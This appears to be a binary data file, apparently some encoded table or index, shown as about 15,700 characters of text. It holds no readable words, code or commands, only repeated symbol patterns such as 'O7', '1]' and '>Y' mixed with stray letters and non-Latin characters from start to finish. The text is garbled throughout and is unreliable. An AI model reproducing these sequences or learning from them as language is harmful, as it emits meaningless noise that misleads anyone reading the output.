7O!77O#O'7O$O%O&7؉؉7O(O*7O)؉77O+7O-O4O.O1O/O07O2O3O5O;O6O8O7O9O:,O<7O=O>,,,77O@OAO\OBOSOC7OD7OE7OFOJ7OGOH7OI77OKOPOLONOM77OO7؉7OQ7OR7,S7OT7OU7OV7OW7OX7OYO[OZ77O]OO^OO_O|O`7OaOpObOiOcOfOdOe7OgOh,,OjOmOkOl,hyOnOo,,OqOwOrOuOsOt,7Ov,OxOzBOy,7O{,,O}7O~OOشOOOOOOO77OOO7O7؉,S7O7OOOO7O7OO7O,S؉{O{7OOOO7O7,S]O7؉OOOO,S؉7OO,S؉{7OOOOOOOO{OO,S؉{,SOOO؉{OOOO7OOO]7O7OOOO{O]OO]7{BOOO,7{BOOOOO7O7OOOOO,OO7OO7BBL*O7O7O7O7OOO7O7OOOOOO7OO7؉,S؉OOOOOOOOOO,OO7BBOO7O,,OO,,7O7OOOO,BOO,B7O7OPOOOO77شPPP77P7P7P7P7P 7P 7P 7P 7P 7P7P7P7P7P7P77PQPPZPPMPPGPP$PPP7P7P7P7P 7P!7P"7P#77P%P0P&P'7P(7P)7P*7P+7P,7P-7P.77P/7P1P>P27P37P47P57P67P77P8P;P97P:777P<P=7P?7P@7PA7PB7PC7PD7PE7PF77PHPKPIPJPLPNPUPOPRPPPQ{{7PSPT]PVPXPW,S]PYP[PP\PcP]P`P^P_7PaPb]PdPsPePf,SPgPh7Pi7Pj7Pk7Pl7Pm7Pn7PoPq7Pp7؉7Pr؉7PtPPuPPv7Pw7Px7Py7Pz7P{7P|7P}7P~77P7P7P7P7P7P7؉PP7؉7BPPPPPPBPTPPhy}P7P7P7PQXPPPPPPPPPPPPhyشش7PP7P7PP7PPPPPPPL*PPPPPPPPش77PL*PPP7PPشL*شPPPP7PPPPPPPPP,S؉PPPPPPPPPP]]PشPPPPPشش]PPPPP]7P]7PPPPPPPP,SPPPPPPPPPPPP؉PPPPش7P7]PQ'PQPQPQPPPQQQQQQQQ Q Q 7Q Q QQhyQQQQQQQ7Q7QQQQQ]QQ#QQ"Q Q!hyQ$Q%Q&L*Q(QCQ)Q4Q*Q/Q+Q,Q-Q.77Q0Q1؉Q2Q3L*BBQ5Q<Q6Q9Q7Q8{{Q:Q;BQ=Q@Q>Q?B]]QAQB؉77QDQOQEQKQFQHQG]7QIQJ7QLQM]BQNQPQSQQQRش؉QTQU7QVQW؉QY7QZQQ[QsQ\QgQ]QaQ^Q_Q`QbQdQcQeQfQhQlQiQkQj-QmQpQnQo}}FQQqQrFQ+Y+YQtQQuQyQvQxQw7QzQ|Q{w]Q}Q~]w]]QQQQQQ]TQQB5QQQ5BBQBBQQQQQQQQQTQQQQQ,BQQBBgQQQشQgQQQؗشBQQ}} Q7Q7QQQ؉ Q77QTQSlQRVQR3QR!Q7Q7Q7QRQQQQQQQQQQQQL*,,QQ77BQQQQB,Q,}QQQQQ,QQ,,QQQQ,,,QQ,,,QQQQQQ7QQQ,,}QTQ,QQQQQQ,,,QRQQQQQQQQ,,QQ,QQQQ,,QQ,,QQQQQQ,QQ,S{؉{RRRR؉,S,SRR؉؉RR RR ]R R R شش7RRRR7{B؉RRT}hyR7R7RRRRRRL*BRRFQ{+YR75R w]BR"7R#7R$7R%7R&7R'R-R(R)R+R*شR,شR.R/R0R2R1,S-R47R57R67R77R87R97R:7R;RIR<RBR=R?R>{,SR@RA{؉RCRFRDRE,S؉7{RGRH{]]{RJRPRKRMRL؉RNRO؉؉RQRTRRRS],S؉,SRU7؉7RWSRXRRYR{RZ7R[7R\7R]7R^RvR_RiR`RbRa7{+YRcRfRdRe7,SRgRh{؉{؉RjRqRkRnRlRm,S,S؉RoRp؉RrRtRs]]Ru]Rw7Rx7RyRz{؉TR|RR}7R~7R7RRRRRRRششR7R7R7w]7R7R7R7RRRRRRRRRR,,RR,,,RRRR,RR,,RRRRRR,,RR,7RB}RRRRRRhyL*BRR-FQ5R7R75BRRR7R7R7R7RRRRRRRR{+YR,S{RRRR؉{؉,SRR,S؉RRRRR؉]RR]RR{{؉R7R7R7RR؉TT7RRR7R7R7RRRRRRRششR7R7R7w]7R7R7R7RSRRRRRRRR,,RR,,,RRRR,RR,,RSRRRR,,RS,7SB}SS SSSShyL*BS S -FQ5S 7S 75BS7SS4S7S7S7S7SS.SS#SSSSS,S{SS؉{؉,SSS!SS ,S؉S"؉S$S'S%S&]]S(S+S)S*{{؉S,S-؉TT{S/7S07S17S2S3{+Y+Y7S5SCS67S77S87S9S?S:S;S<S>S=ششS@7SA7SB7w]7SD7SE7SF7SGSaSHSWSISPSJSMSKSL,,SNSO,,,SQSTSRSS,SUSV,,SXS_SYS\SZS[,,S]S^,7S`B}SbSiScSfSdSehyL*BSgSh-FQ5Sj7Sk75BSmSSnSSoSSp7Sq7Sr7Ss7St7SuSSvSzSwSxSy7S{SS|S~S}hy,,S,7B,S7S7S7,S,hyS7S7S7S7S7SSSSSSشSSSSشS7S7-7S7S7S7S7S7S7S7SSSSS,SS,S,SSSSS7]{S{؉SS؉S؉S-{S7S7]SSSSS7S7S7S7S7S7S7S7S7SS7S7S7S7S7S7S7S7S7S7-S7S7STgST)STSSSSSSSSSSSS,L*]SSSSS,SSSSSSSSSS7]]SSSSSS؉؉S,SS,S,SSSSS؉S؉؉SSSSSSSSشSش,SSTTشTT]TB]TBTT TBTBT T T T B{{T7؉TTTTTTTT؉TT7؉TTTT7TT%TT!T 7T"T#T$T&T'T(,؉T*THT+T?T,T2T-T.T/,T0,T1,T3T7T4T5T6-T8T;T9شT:ش-{T<T>]T=T@TETA,TB,TCTD,TFTG-TITXTJTTTKTSTLTP-TMTNTOFQFQ+YTQTR{+Y+YFQTU,TVTW{{,TYTZT[T`T\T_T]T^BBBTaTeTbTdBTcBw]Tfw]Th7TiTTjTTkT|TlTuTmTpTnw]ToBw]TqTsw]Trw]L*L*TtL*hyTvTyTw5hyTxhy55TzT{757T}TT~TTT7TTT,,T,]]TTT]T]]TTTTTg]T]gTgTTTTTTTT , TTTTT+YgTTg55]TT]TTTTTTTTTTw]TTTTTTTTTTؗT7ؗTT7T7ؗ7TU^TTTTTTT7T7T7T7T7T7TTTTTTTB,{BTTTT,BTTB77,TTTT,TT,,TTTTB,B؉-7T7T7T7T7T7T7TTTTTTششT7T77T7T7T7T7T7T7T7TTTTTT{T,S؉TT{,S؉{TT]T7TT{]7U7U7UU&U7U7U7U7UU UUU UU U U ,S{U U؉{؉,SUUUU,S؉U؉UUUU]]UUUU{{؉UU؉TT{U!7U"7U#7U$U%{+Y+Y7U'U5U(7U)7U*7U+U1U,U-U.U0U/ششU27U37U47w]7U67U77U87U9USU:UIU;UBU<U?U=U>,,U@UA,,,UCUFUDUE,UGUH,,UJUQUKUNULUM,,UOUP,7URB}UTU[UUUXUVUWhyL*BUYUZ-FQ5U\7U]75BU_VU`VLUaUUbUUcU|UdUlUe7Uf7Ug7Uh7Ui7UjUkUm7Un7Uo7UpUxUqUwUrUtUsشUuUvش7Uy7UzU{77U}7U~7U7U7UUUUUUUBUU577BUU}UBUU+Y+YL*U7UUUUL*FQ-hyU7hyU7U7U7U7U7UUUUUUU],S؉U]UUUTUUT]]{U7U7UU{w]gUV UUUUU7U7U7U77U7UUUUUUUUUUششUUش7UUU7UششUUUUشUشU7U7U7U77U7U7UUUUUUUUUUU77BUUUB77BUUUU5UUU5BB}UU+YUUUL*+YU+YUhyFQ-UVUUUUUUUT]UUUB5UBUU}U}UUUL*L*FQVFQL*VV VVVVL*BVBhyVhy7V 7V 7+YV +Y7V7V7V7VV2VVVVVV,SVV؉,S؉V]؉]]VVV]VV%VV V#V!V"TTV$TV&V+V'V)V(]T]V*{]{V,V/V-V.{w]TV0V1w]ggw]V3VGV4V=V5V9V6V7w]gV8-g-V:V<]V;]{{V>VCV?VAV@TTVBTVDVETVF]]VH7VI7VJ{VK{VMVVNVVOVgVPVUVQ7VR7VS7VT77VV7VW7VXVcVYV]VZV[V\شV^7V_VaV`شVb7Vd7Ve7Vf7Vh7Vi7Vj7Vk7VlVyVmVsVnVpVoBVqVr757BVtVv}VuBVwVx+Y+YL*Vz7V{V~V|V}L*FQ-hyV7hyV7V7V7V7V7VVVVVVVV],S؉]V]VVVTVVT]]{V7V7VV{w]gVVVVVVV7V7V7V77V7V7V7VVVVشVVVVV77V7V7V7V7VVVVVVVBVV757BVV}VBVV+Y+YL*V7VVVVL*FQ-hyV7hyV7V7V7V7V7VVVVVVV],S؉V]VVVTVVT]]{V7V7VV{w]gVWV7VWVVV7V7V7V7VVVVVVششV7V7V7V7VVVVVVVBVV757BVV}VBVV+Y+YL*V7WWWWL*FQ-hyW7hyW7W7W7W 7W 7W WW WW WW],S؉W]WWWTWWT]]{W7W7WW{w]gWW(W7W7W 7W!7W"7W#7W$7W%7W&7W'77W)7W*7W+W0W,7W-7W.7W/77W17W27W37W4W577W7WUW87W9WMW:7W;WJW<77W=7W>W?7W@7WA7WB7WC7WD7WEWG7WF7WHWI777WKWL77WN7WOWR7WPWQ77WS77WT؉7WV7WWWWX7WYWWZWgW[W\W]W^7W_7W`7Wa7Wb7Wc7Wd7We7Wf77WhWWiWuWj7Wk7Wl7Wm7Wn7Wo7Wp7WqWsWr77Wt7Wv7Ww7Wx7Wy7Wz7W{7W|7W}7W~77WWW7W7W7W7W7W7WW7WWW777W7W7W7W7W7W7W7W7W7WWW77W7WW7W7W7W7W7W7W77WW77W7WWWW7W7W77WWWWW7W7W7W7W7W7W7W7W7,SW,SW7W7W7W7W7W7W7W77WW77؉W77؉W7W7W7W7W7WW7W7WW7W7W7W7W7W7W7W7W7W7WWWWWW7W7WW7W77WW7W7W7W7W7W7W7W7W7W7W7WWW7WWWWWWWWWWWWXXXXXXXXX+-X XX X 7zX XXX7XXXXXʠXXXXXXXX7X X3X!X*X"X&1X#X$X%X'X(X)X+X/<X,X-X.7dX0X1X2X4X:X5X9X6<X7X8X;X?X<X=X>zX@XCXAXBXDXEXGXXHXXIXfXJXZXKXVXLXOXMXN9XP9XQ9XR9XS9XT9XU9B9XWXXXYX[XbX\X_X]X^X`Xa9XcXdXeXgXvXhXoXiXlXjXkXmXn7XpXsXqXr<XtXuzXwX{XxXyXzzX|9X}X~XXXXXXXXXXXXXXXXXXXXXXXXXXoXXXXXXXX9XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXFXXXXXXXXXXXFXXBXXXX7XXX9XXXXXXXX7XXX7XXXdXXеXXX*9XXXXXXXXXX7XXXdXXYYYY YYY7YYd*YYY 7Y Y0UY Y YdYYYYYYYYYYYZYY>Y>Y>Y ZpY!>Y"YY#Y^Y$Y@>Y%Y&Y7Y'Y.Y(>Y)>Y*>Y+>Y,>Y->>Y/>Y0>Y1>Y2>Y3>Y4>Y5Y6>N>>Y8Y9>Y:>Y;>Y<>Y=>Y>>Y?>>@{YAYSYB>YCYKYD>YE>YF>YG>YH>YI>YJ>>YL>YM>YN>YO>YP>YQ>YR>{>YT>>YUYV>YW>YX>YY>YZ>Y[>Y\Y]>@{@{>Y_YY`YYaYz>YbYc>Yd>Ye>Yf>Yg>Yh>Yi>YjBSYk>Yl>Ym>Yn>Yo>Yp>Yq>Yr>Ys>Yt>Yu>Yv>Yw>Yx>Yy>BS>Y{YY|>Y}>Y~>Y>Y>Y>Y>Y>Y>Y>Y>Y>Y>Y>>Y>Y>Y>Y>Y>Y>Y>Y>Y>Y>Y>Y>Y>Y>Y>@{>YYYYY>Y>Y>Y>Y>Y>Y>Y>Y>Y>Y>Y>Y>Y>Y>BS>Y>Y>Y>Y>Y>Y>Y>Y@{Y>Y>Y>Y>Y>Y>Y>@{>YYY>Y>Y>Y>Y>Y>Y>@{U Y>Y>Y>Y>Y>Y>Y>@{YY>Y>Y>Y>Y>Y>Y>@{>YY>Y>YY>Y>Y>Y>Y>Y>Y>U >Y>>YY>Y>Y>Y>Y>Y>Y>Y>Y>Y>Y>Y>Y>Y>Y>>>YYZYYZ>YYZY>Y>Y>Y>Y>Y>Y>Y>Z>Z>Z>Z>Z>Z>Z> >Z>Z >Z >Z >Z >Z >Z>Z>Z>Z>Z>Z>Z>Z>Z>7'>ZZ9ZZ)Z>Z>Z>Z>Z>Z>Z >Z!>Z">Z#>Z$>Z%>Z&>Z'>Z(>]>Z*>Z+>Z,>Z->Z.>Z/>Z0>Z1>Z2>Z3>Z4>Z5>Z6>Z7>Z8>ϊ>Z:ZIZ;>Z<>Z=>Z>>Z?>Z@>ZA>ZB>ZC>ZD>ZE>ZF>ZG>ZH>>ZJ>ZK>ZL>ZM>ZN>ZO>ZP>ZQ>ZR>ZS>ZT>ZU>ZV>ZW>ZX>>>ZZZ[>Z\>Z]>Z^>Z_>Z`>Za>Zb>Zc>Zd>Ze>Zf>Zg>Zh>Zi>Zj>Zk>Zl>Zm>Zn>Zo>7>>Zq>Zr>Zs>Zt>Zu>Zv>ZwZx>ZyZZzZZ{>Z|>Z}>Z~>Z>Z>Z>>ZZ>Z>Z>Z>Z>Z>Z>Z>Z>Z>Z>Z>N>Z>Z>ZZZ>Z>Z>Z>Z>Z>Z>Z>Z>>ZZ>Z>Z>Z>Z>Z>Z>N>N>Z>Z>Z>Z>Z>Z>Z>Z>Z>Z>Z>Z>ZZ>ZZ>Z>Z>Z>Z>Z>Z>BS>Z>Z>Z>Z>Z>Z>Z>Z>BS>ZZZ7ZbAZa|ZZZZZZZZZZZZzZZZZZ7ZZ7ZZZZZZ7ZZ7ZZZZʠZZZZZZZZZdZZZZ7ZZZZZZZԦZ[PZ[7[[0[[[[[[[[[ [ [ [ [ [[[[[[[[[[[[[[[[[[[ [!["[+[#['[$[%[&,[([)[*,[,[-[.[/,[1[4[2[3ʠ[5[6J[8[L[9[:[;[<[=[>[?[@[A[B[C[D[E[F[G[H[I[J[K+-[M[N[Oz[Q[Z[R[S7[T[W[U[V[X[Yz[[[\7[][`[^[_g[aaH[b[c[[d[e[f[g[h[i[j[k[l[m[n[o[p[q[r[s[t[u[v[w[x[y[z[{[|[}[~[[[[[`[[0[[[[[[[[e[[[[[[[[[[[[1[[[[[[[[[[[1[11[1[1[1[[[[[[[[1[1[1[[1[1[[1[111[[[1[[11[1[1[e[` [[][\[\B[[[[[[1[[1[[11[1[[[[1[1[1[11[[11[1[1[1[1[1[[1[[[[1[[1[[[[[11[11[1[1[[[1[[[11[1[1[111[\ [\ [\[[[1[11\11\\\11\1\\\ 1\11\ 1\ \\ \\1\11\1\1\1\11\\\1\\1\1\11\\\1\!\5\"\,\#\'1\$1\%\&111\(1\)\*\+11\-\11\.1\/\011\2\31\41\6\=\71\8\911\:\;\<11\>1\?1\@\A11\C\\D\b\E\U\F\T\G\K\H11\I\J11\L\O1\M\N11\P\R\Q11\S111\V\]1\W\X1\Y\[1\Z11\\1\^1\_1\`1\a1\c\w\d\l\e1\f\i\g1\h111\j1\k1\m\s1\n\o\q1\p1\r11\t\u\v1\x\\y\1\z\{\}\|11\~11\\\11\1\\\111\1\1\1\\11\\\\\\\11\1\\11\\\\\1\1\111\\11\1\\\\\\\\1\\11\\1\11\1\11\\1\\\1\1\\11\\\1\\1\\\\11\1\11\1\1\1\1\1\]i\]\\\\\\1\\1\11\1\1\\\1\1\11\\\1\1\1\111\\\\\1\\\11\1\\\11\11\\\1\1\\1\1\11\\1\\\1\1\1\1\11]]]]1]11]]11]1] ]5] ]!] ]] ]] ]]11]1]]1]1]111]]11]1]]]1]]]11] 11]"]+]#]']$1]%11]&11](])11]*1],]1]-1].]01]/11]2]3]41]6]Q]7]E]8]>]9];]:11]<1]=11]?]B]@11]A11]C]D11]F]N]G]K]H]I1]J11]L11]M1]O]P1]R]`]S]W]T1]U1]V11]X]]]Y][]Z111]\1]^1]_11]a]e]b1]c1]d11]f]g]h1]j]]k]]l]{]m]r1]n1]o]p11]q1]s]w]t11]u]v11]x]y]z1]|]]}]1]~]1]11]11]]]111]]]]1]]]]1]1]]]1]1]]]]1]1]1]1]]1]]1]1]11]]]]11]1]1]]]]]]]1]11]1]11]]1]]1]11]1]1]1]1]1]]]]]]]]]]]11]11]1]111]]1]11]]]]]]1]11]11]]11]]]1]]]]]1]11]11]]]1]11]1]1]]]1]1]11]_]^]^A]^]^ ]^]]]11]]11]]1]1]1]]1]11^1^^^^^11^11^1^ ^ ^ 1^ ^^^1^^1^111^1^^11^^1^^11^1^^^1^ ^.^!^&1^"1^#^$1^%11^'^(^+1^)^*111^,1^-1^/^9^0^51^1^21^3^4111^6^71^811^:^;^>^<11^=1^?11^@1^B^i^C^U^D^P^E^I^F1^G1^H11^J^M1^K1^L11^N^O11^Q^R11^S^T11^V^a^W^[1^X1^Y^Z11^\1^]^_^^111^`1^b^c^f^d1^e11^g11^h1^j^~^k^v^l^s^m^p1^n^o11^q11^r11^t1^u1^w^{^x1^y11^z1^|^}1^^^^1^^1^11^^1^^111^^11^1^1^^11^^^^^^^^^^1^^^^111^1^1^^^^111^11^^^^1^^^11^1^^11^^^^^^111^1^1^11^^^^^^^11^^111^1^^11^^^1^1^^1^^^1^1^11^11^^^^^^^^^11^^11^1^11^1^^^^^1^^11^11^1^^^1^^^11^1^^11^^^^1^^11^11^1^^^1^_1^^1^1__1__1_1_1__11_ _ __ _ 1_ 11_11_1____Q__2__&__1___1_1_1_11_1__ 1_!_$_"_#11_%11_'_1_(1_)_,1_*_+11_-_/_.111_011_3_K_4_@_5_<_6_91_7_811_:11_;1_=1_>1_?11_A_B_H_C_F_D_E11_G11_I1_J111_L_M_N1_O1_P11_R_~_S_o_T_f_U___V_Y1_W_X11_Z_\1_[1_]_^11_`_c_a1_b11_d11_e1_g_k1_h1_i_j1_l_m_n1_p_y_q_u1_r1_s1_t1_v1_w11_x1_z_{11_|1_}1_____11_1__11___11__11___11__1__1_11___________1_11_1_11__11__1_11_11__1__1_1____1_1_1__11___11___11___1____1_1___11___11_11__111____1________1__1__11__1_1_1_11_11______1_1_11_1_11__11___1__11_11_1_`_`__1_1__1_`_1_111`1`1``1`11`1` `` `` `1` 1` 1`1`11`1```11`11``1``11`1```1`!dD`"bP`#aQ`$``%`v`&`O`'`<`(`3`)`/1`*`+`-1`,1`.11`011`1`211`4`5`9`61`7`8111`:1`;1`=`J`>`B1`?`@11`A1`C`G`D1`E`F111`H`I111`K`L`M`N1`P`m`Q`d`R`\`S`V1`T`U11`W`Z`X`Y111`[1`]`a`^1`_``11`b11`c1`e`i`f11`g1`h1`j`k`l1`n`u1`o`p1`q`s`r11`t111`w``x``y`~`z11`{1`|1`}11```11`1`1`1```1`11```1````1`1`1``11``1``1`1`11````1`1``11```11`1`1`11``1`11`1`````````1```11`11```11``````1`11`1``1`1`1```1````1``1`111`1`1`11````````1``111`1`1``1`1`111```````11`1`1``11`1`1``11```1`1`11```1`a#`aaa aa1aa11a1aa 1aa111a 1a 1a a1aa11a1aaa1aa"aaaa1aa11a1a111a1a 1a!11a$a7a%a*a&1a'1a(1a)11a+a3a,a/1a-1a.1a01a1a211a4a5a61a8aAa9a=1a:1a;1a<11a>1a?1a@1aBaLaCaGaDaE1aF11aHaJaI111aK1aMaNaOaP11aRaaSaaTaxaUadaVa_aWa[aX11aYaZ11a\11a]a^11a`1aa1abac1aeanafajag1ah1ai111akal11am1aoauap1aqas1ar1at11avaw1ayaaza1a{1a|a}11a~11aaaa1aa1aa111aa11a11aaaaaaa1aaa111a1a1aaaaa1a11a1a11a1aa1aa1a11a1aaaa1a111a1a1aaaa1aa1aaa111aa1aa1a1aa1aaaaaa1aa111aaa11aa1a1a11aa11a1a1a1a1abaaaaaaaaa1a11a1aa1a1a11a1a1aaa1a1a11aaa1aa1a1a1aa11aaa1a1a11abab1aa11a1a111bbb11b1b1bb/b bb bb b1b 1b 1b1b1b1b111bb'bbbbbb1b11b1b1b11b b$b!1b"b#11b%11b&1b(b)b+b*11b,b-11b.1b0bEb1b=b2b9b3b6b4b51b71b811b:1b;b<11b>bB1b?b@11bA11bCbD1bFbKbG1bH11bIbJ11bLbM11bN1bO1bQc[bRbbSbbTbgbUbcbVb]1bWbXb[1bY1bZ1b\11b^b_1b`1babb111bdbe1bf1bhb|bibobj1bk1bl1bmbn11bpbxbqbubrbtbs1111bvbw11bybzb{1b}bb~1b11b1b1bb11b1b1bbbbbbb11bb11b11bbbb11bbb1bb1b1b11bbbbbb1bb1b11bbb1b111bb1b1bbbbb1bbb11bb11bb1b1b1b11bb1b1bb11bbb1bcbbbbbbb1b11b1b11bb1bb1b1b11bb1b1bb11bbb1bbbb1b1bb1b11b1bb11b1bbbbbbb1b11bbb11b111b1bbb11bcbcbbb111b11c1c1cc1cc2ccc c 1c 1c c 11cc1cc1c11cc1cc'cc#ccccc1c1cc c11c!c"11c$11c%c&11c(c,c)11c*c+1c-c.c01c/11c11c3cKc4c?c5c9c61c711c811c:c;c=1c<1c>1c@cIcAcDcB1cC11cEcGcF111cH1cJ1cLcVcM1cNcQcO1cP11cRcTcS11cU1cWcX11cYcZ11c\cc]cc^c|c_cqc`cicacecb1cc11cd1cf1cg11ch1cjckcncl11cm1co11cp1crcw1csct1cu11cv1cx1cycz11c{1c}cc~cccc1ccc111c1c1c11c11cccc11ccc11c1c1ccccccccc1c11ccc1c11c11c1cccccc1c11cc11cccc1cccc111c1cc1cc11c11c11cccc1ccccc11c1cc11ccc1c1c1c1c11ccc1c11cc111cd cccc1ccccc11c1c1c11ccccc1c11c11cc11c11cccc1cc11c1c1ccc1cc1c1c11cc1cdd1d1d1d11dd11d1d1d d'd dd d1d d1d11d11dddd1ddd1d1d11d1d11d1dd#1d 1d!1d"1d$d%d&1d(d.1d)d*1d+1d,d-11d/d4d011d11d21d31d5d@d6d;d7d91d81d:1d<d>1d=11d?1dAdBdC1dEdFeXdGddHddIdwdJd[dKdTdLdPdM11dN1dO11dQdR1dS11dUdV1dWdYdX111dZ1d\dld]dfd^dcd_da1d`1db11dd11de11dgdhdj1di1dk11dmdndsdodq1dp1dr1dtdu11dv1dxddyddzdd{d}1d|1d~1d11dd1d111dddddd1d1d1d11d1d11d1d1ddd1dd1d1d11dd1dddddddddd1ddd11d1d1d1d1ddd1d1d11ddd1ddd1ddd1d11d11d11ddddd1d1d11d1d1d1d1dd1dd11d1d11dedddd1dddddd111dd11ddd1dd1d1dd11d1dd1d1d1d1ddd1ddddd1d1d11d11dd1d1d1dd11de1dd1e11eee1ee)eeeee 1e 1e e e 1e11e1ee1e11ee e1eeee1e1e11e1ee11e!e%1e"1e#e$11e&e'e(1e*e:e+e9e,e5e-e2e.e0e/111e11e311e41e61e711e811e;eMe<eGe=eA1e>e?e@11eBeEeCeD111eF1eH1eIeKeJ11eL11eNeTeO1ePeR1eQ1eS11eUeVeW1eYeZee[ee\eqe]eie^ebe_1e`1ea11ecef1edee111eg1eh1ejen1ekel11em1eoep1ere{esew1eteu1ev11ex1ey11ez1e|1e}1e~e11eeeeee1ee11e1eee1ee111ee11ee11ee11eeeeee1ee11e1e111e1e1e1eee1eee11e11eee1eeeeee1e11e1e11eeeee1e1e111eeee1ee11eeeeee11ee11e11e1eee1eeee11e1e1e1eeeeeeee11eeeeezezeereleiegPefef5efeeeeee1e1e111ee11e1efee1ee11ef1f11f1ff1fffff f f 1f 1f 11ff1f1f11ff11fff1fff11f11ff1ff,f f'f!f$f"1f#11f%1f&111f(f)f+f*111f-f1f.11f/1f01f2f3f41f6fhf7fSf8fJf9fAf:f=f;1f<111f>f?f@11fBfEfC1fD1fFfH1fG1fI11fKfOfL1fM11fN1fPfQfR1fTf_fUfYfV1fW1fX11fZ1f[f]1f\1f^11f`fd1fafb1fc11fefffg1fiffjf|fkfrflfofm1fn11fp1fq11fsfv1ft1fu1fwfy1fx1fzf{11f}ff~1ff1f11f1fff1fffffff1ff11f11f11ff11f1fff11ff11fff1fffffffff1fffff11f11f1f111fff1fffffff1f11ff1f1f111ff11f1ffff111ff11fffffff1f1f111ff1f11ffff1f1f1ff1f11f1ff1fffffff1f11ff1f1f11f1ff1f1ff11ff1ffff111f1ff1f1fg(fgfg fgggg1gg111g1g11gg 1g 11g gg 11g1g1ggg1gg ggg1g1g11g1gg1g1g11g!g"g%g#1g$11g&11g'1g)g@g*g7g+g2g,g/g-1g.11g01g11g311g4g5g611g8g<g91g:11g;1g=g>g?1gAgHgB1gCgFgD1gE11gG11gIgMgJ1gK11gL1gNgO1gQh gRggSggTgqgUgfgVg_gWgZgX1gY11g[g]1g\1g^11g`gc1ga1gb1gd1ge1gggmgh1gigk1gj1gl11gngogp1grggsg|gtgwgu1gv11gxgzgy11g{11g}1g~1g111gggg1ggggggg1g11gg1g1g11ggggggg111g1gg1gg11gg1ggggg1ggg11g111gggg11g11ggggggg1gg11ggg11g1ggg1ggggggggg1g1gg11ggg1g11g1gg11gg1g1g11ggggg1ggg11g11ggg11g11ggg111gggg1ghggggggggg11gg11g1gg111ggg1g11ghg11gh11hhh1hhhh h1h 1h 111h h hh111h1hhhhhhhh111h11hh11hhh1h!hh"h]h#hDh$h8h%h.h&h*h'1h(h)11h+1h,h-11h/h31h0h1h211h4h61h511h71h9h@h:h=1h;h<111h>h?11hAhBhC1hEhNhF1hGhJhHhI11hK1hLhM11hOhZhPhUhQhShR11hT1hVhXhW11hY1h[h\1h^hh_huh`hihahfhbhdhc11he111hghh11hjhphkhmhl1hnho11hqhshr11ht11hvh}hwhzhx1hy111h{1h|1h~hh1hhhhh1hhh11h111hh11h1hhhhhh11hh1h11h1hh1hhhhhhhhh1hhh11h11h1hhh11h11hhhh1hh11h1h1hh1hhhhh1hhh111hhh1hh11hhhh11hh11hhhhh11h1h11h1hhh1hhhhhhhhhhh11h111hhh11hh1h1h11h1h1hhhh11h1hh1h11h1hhhhh1h1h111h1hh11hih1hii11i11ii1ijiii iwi iAi i)i ii iiiiii11i1iii111i1ii1i11ii11ii%1i i!i#i"11i$11i&i'i(1i*i3i+i/i,1i-1i.111i01i1i211i4i=i5i81i61i71i9i;1i:11i<1i>i?i@1iBi]iCiOiDiJiE1iFiHiG111iI11iKiLiN1iM11iPiYiQiTiR1iS11iUiWiV11iX11iZi[i\1i^iii_iei`1iaicib11id11if11igih11ijisikin1il1im1ioiqip11ir11itiu1iv1ixiiyiizii{ii|ii}1i~111ii11ii1ii111i1iiiii1ii111ii11ii1iii1i1iiii111i1iiii1ii11i1i11iii1iiiiiiiii1i11i1i111i1ii11ii1ii11i1ii1iiiii1i1i11i1i1i11iiiii11i11i1i1iii1ij5ijiiiiiiiii1i11i1i111i1i1i1ii1i1iii11iii1iiiiiiiii11i11i11i1i1i1i11i1j1j1j1jjjjjj j1j1j 11j 1j j 11jjjj1jj111jj1jj1jj&jj"jjj1j11j 11j!1j#11j$j%11j'j1j(j.j)j,j*j+111j-11j/1j01j2j3j41j6jaj7jMj8jEj9jAj:j>j;1j<j=11j?1j@11jB1jC1jD11jFjJjG1jH11jI1jKjL1jNjWjOjSjP1jQ1jR11jT11jU1jV1jXjYj^jZj\1j[11j]11j_j`11jbjtjcjsjdjmjejjjfjhjg11ji111jkjl11jnjq1jojp111jr11jujjvj}jwjzjx1jy111j{1j|11j~1jj11jjjj1jj111jj11jj1j1jkNjjjjjjjjjjjjjjj111j1j11j1j1j1j11jj1jj1j11jjj1jjjjjjj11j1j111jjj1j11j1jj1j1jjj11jjj1jjjjjjjjj1j11j1j111j1jjj1jjj111j1jj1jjj1j1j1j11jjj11j1j1jjj1jk jjjjj1j1j1jj11jjj1j1j11jj1jkjjj1jjj11j11k11kk11kkk1k1k11k k k 1k k/kk kkkkk1k111k1k1kk1kk11kkkk11k11k!k+k"k(k#k%k$11k&k'111k)1k*1k,k-k.1k0kAk1k:k2k5k31k411k6k8k711k911k;k>k<11k=1k?1k@11kBkKkCkHkDkFkE111kG1kI11kJ1kLkM1kOkkPkrkQkakRk\kS1kTkWkU1kV11kXkZ1kY1k[111k]k^k_k`1kbkjkckfkd1ke111kgkh1ki11kkkokl1km11kn1kpkq1kskktkkuk{kv1kwkykx111kz1k|kk}k1k~11k1k11k1kkkk1kk11k1k11kk1kkkkk1k1k111kkk1k11k1kkk1kk1k1kk11kkk1kkkkkkkkkkk1k11k1k11k1k111kkkk1kkkkkkkkkk111k1kkk11k111k1kk11kkkk1kkk11kkk11k1kk1kkkkkkkkk1k111kk11kkk1k111kk11kkk1kkk11k11kkk1klkkk1k1k11kl1kk111lll11llll ll l11l l 11l 1l11ll1lolmllllllXll4ll+ll!lll1l111ll 11l"l&1l#l$l%11l'l)1l(11l*1l,l0l-11l.1l/1l1l2l31l5lIl6l?l7l<l8l:l911l;11l=1l>11l@lC1lAlB11lDlGlElF11lH11lJlSlKlNlL11lM1lOlQ1lP11lR1lTlUlVlW11lYlslZljl[l_l\1l]1l^11l`lelalclb11ld1lflhlg11li11lkloll11lmln1lplqlr1ltllul~lvl{lwlylx11lz11l|11l}1l1lll11l11lll11l1l1ll1lllllllllllll11l11l1l11lllll111l1lll11l11lllll1ll111ll11lll1lllll1l11ll1ll11l11l1lllll11l1l11l1ll1lllllll1l1l11l11ll11llllll1l1l111ll11ll1l1llllllllll1111l1l1ll1lll11lll111l1ll1ll11l1lll1mmWmm+mmmmmmm1m1m11m m 1m m 11m 1m11m1m1m1m1mm"mmmmmm1m111mm11m11m 